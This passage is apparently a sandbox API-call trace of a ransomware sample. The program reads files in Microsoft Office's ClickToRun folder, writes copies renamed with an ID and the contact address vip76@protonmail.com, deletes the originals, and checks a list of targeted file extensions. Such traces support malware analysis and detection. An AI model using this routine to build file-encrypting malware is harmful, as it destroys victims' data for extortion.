	[0078.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0078.705] GetLastError () returned 0x0
	[0078.705] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x60ea0, lpOverlapped=0x0) returned 1
	[0078.719] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x60eb0, lpOverlapped=0x0) returned 1
	[0078.727] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.727] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0078.727] SetEndOfFile (hFile=0x398) returned 1
	[0078.727] CloseHandle (hObject=0x398) returned 1
	[0078.952] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.952] SetEndOfFile (hFile=0x358) returned 1
	[0078.956] CloseHandle (hObject=0x358) returned 1
	[0078.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.956] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1
	[0078.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.956] lstrlenW (lpString=".doc") returned 4
	[0078.956] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.956] lstrlenW (lpString=".docx") returned 5
	[0078.956] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0078.957] lstrlenW (lpString=".pdf") returned 4
	[0078.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".xls") returned 4
	[0078.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".xlsx") returned 5
	[0078.957] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0078.957] lstrlenW (lpString=".ppt") returned 4
	[0078.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString=".zip") returned 4
	[0078.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".rar") returned 4
	[0078.957] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".bz2") returned 4
	[0078.957] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.957] lstrlenW (lpString=".7z") returned 3
	[0078.957] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString=".dbf") returned 4
	[0078.957] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString=".1cd") returned 4
	[0078.957] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString=".jpg") returned 4
	[0078.957] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.957] lstrlenW (lpString=".doc") returned 4
	[0078.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".docx") returned 5
	[0078.957] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0078.958] lstrlenW (lpString=".pdf") returned 4
	[0078.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.958] lstrlenW (lpString=".xls") returned 4
	[0078.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.958] lstrlenW (lpString=".xlsx") returned 5
	[0078.958] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0078.958] lstrlenW (lpString=".ppt") returned 4
	[0078.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.958] lstrlenW (lpString=".zip") returned 4
	[0078.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.958] lstrlenW (lpString=".rar") returned 4
	[0078.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.958] lstrlenW (lpString=".bz2") returned 4
	[0078.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.958] lstrlenW (lpString=".7z") returned 3
	[0078.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.958] lstrlenW (lpString=".dbf") returned 4
	[0078.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.958] lstrlenW (lpString=".1cd") returned 4
	[0078.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0078.958] lstrlenW (lpString=".jpg") returned 4
	[0078.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.958] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0078.958] lstrlenW (lpString="AppVShNotify.exe") returned 16
	[0078.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.959] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=263896) returned 1
	[0078.959] CloseHandle (hObject=0x358) returned 1
	[0078.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20
	[0078.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0078.960] GetLastError () returned 0x0
	[0078.960] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x406d8, lpOverlapped=0x0) returned 1
	[0078.969] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x406e0, lpOverlapped=0x0) returned 1
	[0078.974] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.974] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0078.974] SetEndOfFile (hFile=0x398) returned 1
	[0078.974] CloseHandle (hObject=0x398) returned 1
	[0079.189] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.189] SetEndOfFile (hFile=0x358) returned 1
	[0079.194] CloseHandle (hObject=0x358) returned 1
	[0079.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0079.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1
	[0079.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString=".doc") returned 4
	[0079.195] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0079.195] lstrlenW (lpString=".docx") returned 5
	[0079.195] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0079.195] lstrlenW (lpString=".pdf") returned 4
	[0079.195] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0079.195] lstrlenW (lpString=".xls") returned 4
	[0079.195] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0079.195] lstrlenW (lpString=".xlsx") returned 5
	[0079.195] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0079.195] lstrlenW (lpString=".ppt") returned 4
	[0079.195] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0079.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString=".zip") returned 4
	[0079.195] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0079.195] lstrlenW (lpString=".rar") returned 4
	[0079.195] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0079.195] lstrlenW (lpString=".bz2") returned 4
	[0079.195] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0079.195] lstrlenW (lpString=".7z") returned 3
	[0079.195] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0079.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString=".dbf") returned 4
	[0079.195] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0079.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString=".1cd") returned 4
	[0079.195] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0079.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.195] lstrlenW (lpString=".jpg") returned 4
	[0079.195] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.197] lstrlenW (lpString=".doc") returned 4
	[0079.197] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0079.197] lstrlenW (lpString=".docx") returned 5
	[0079.197] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0079.197] lstrlenW (lpString=".pdf") returned 4
	[0079.197] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString=".xls") returned 4
	[0079.197] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString=".xlsx") returned 5
	[0079.197] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0079.197] lstrlenW (lpString=".ppt") returned 4
	[0079.197] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.197] lstrlenW (lpString=".zip") returned 4
	[0079.197] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString=".rar") returned 4
	[0079.197] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0079.197] lstrlenW (lpString=".bz2") returned 4
	[0079.197] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0079.197] lstrlenW (lpString=".7z") returned 3
	[0079.197] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0079.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.197] lstrlenW (lpString=".dbf") returned 4
	[0079.197] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0079.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.198] lstrlenW (lpString=".1cd") returned 4
	[0079.198] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0079.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0079.198] lstrlenW (lpString=".jpg") returned 4
	[0079.198] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0079.198] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0079.198] lstrlenW (lpString="C2R64.dll") returned 9
	[0079.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0079.199] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1208928) returned 1
	[0079.199] CloseHandle (hObject=0x358) returned 1
	[0079.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20
	[0079.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0079.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0079.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.199] lstrlenW (lpString=".doc") returned 4
	[0079.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.199] lstrlenW (lpString=".docx") returned 5
	[0079.199] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0079.199] lstrlenW (lpString=".pdf") returned 4
	[0079.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.199] lstrlenW (lpString=".xls") returned 4
	[0079.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString=".xlsx") returned 5
	[0079.200] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0079.200] lstrlenW (lpString=".ppt") returned 4
	[0079.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString=".zip") returned 4
	[0079.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString=".rar") returned 4
	[0079.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString=".bz2") returned 4
	[0079.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.200] lstrlenW (lpString=".7z") returned 3
	[0079.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString=".dbf") returned 4
	[0079.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString=".1cd") returned 4
	[0079.200] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString=".jpg") returned 4
	[0079.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.200] lstrlenW (lpString=".doc") returned 4
	[0079.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.200] lstrlenW (lpString=".docx") returned 5
	[0079.200] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0079.201] lstrlenW (lpString=".pdf") returned 4
	[0079.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.201] lstrlenW (lpString=".xls") returned 4
	[0079.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.201] lstrlenW (lpString=".xlsx") returned 5
	[0079.201] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0079.201] lstrlenW (lpString=".ppt") returned 4
	[0079.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.201] lstrlenW (lpString=".zip") returned 4
	[0079.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.201] lstrlenW (lpString=".rar") returned 4
	[0079.201] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.201] lstrlenW (lpString=".bz2") returned 4
	[0079.201] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.201] lstrlenW (lpString=".7z") returned 3
	[0079.201] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.201] lstrlenW (lpString=".dbf") returned 4
	[0079.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.201] lstrlenW (lpString=".1cd") returned 4
	[0079.201] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0079.201] lstrlenW (lpString=".jpg") returned 4
	[0079.201] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.202] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0079.202] lstrlenW (lpString="C2RUI.en-us.dll") returned 15
	[0079.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0079.202] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=902328) returned 1
	[0079.202] CloseHandle (hObject=0x358) returned 1
	[0079.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20
	[0079.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0079.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0079.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0079.203] GetLastError () returned 0x0
	[0079.203] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xdc4b8, lpOverlapped=0x0) returned 1
	[0079.222] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xdc4c0, lpOverlapped=0x0) returned 1
	[0079.238] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.238] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0079.238] SetEndOfFile (hFile=0x398) returned 1
	[0079.238] CloseHandle (hObject=0x398) returned 1
	[0079.692] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.692] SetEndOfFile (hFile=0x358) returned 1
	[0079.700] CloseHandle (hObject=0x358) returned 1
	[0079.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0079.700] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1
	[0080.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.415] lstrlenW (lpString=".doc") returned 4
	[0080.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0080.415] lstrlenW (lpString=".docx") returned 5
	[0080.415] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0080.415] lstrlenW (lpString=".pdf") returned 4
	[0080.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0080.415] lstrlenW (lpString=".xls") returned 4
	[0080.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0080.415] lstrlenW (lpString=".xlsx") returned 5
	[0080.415] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0080.415] lstrlenW (lpString=".ppt") returned 4
	[0080.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
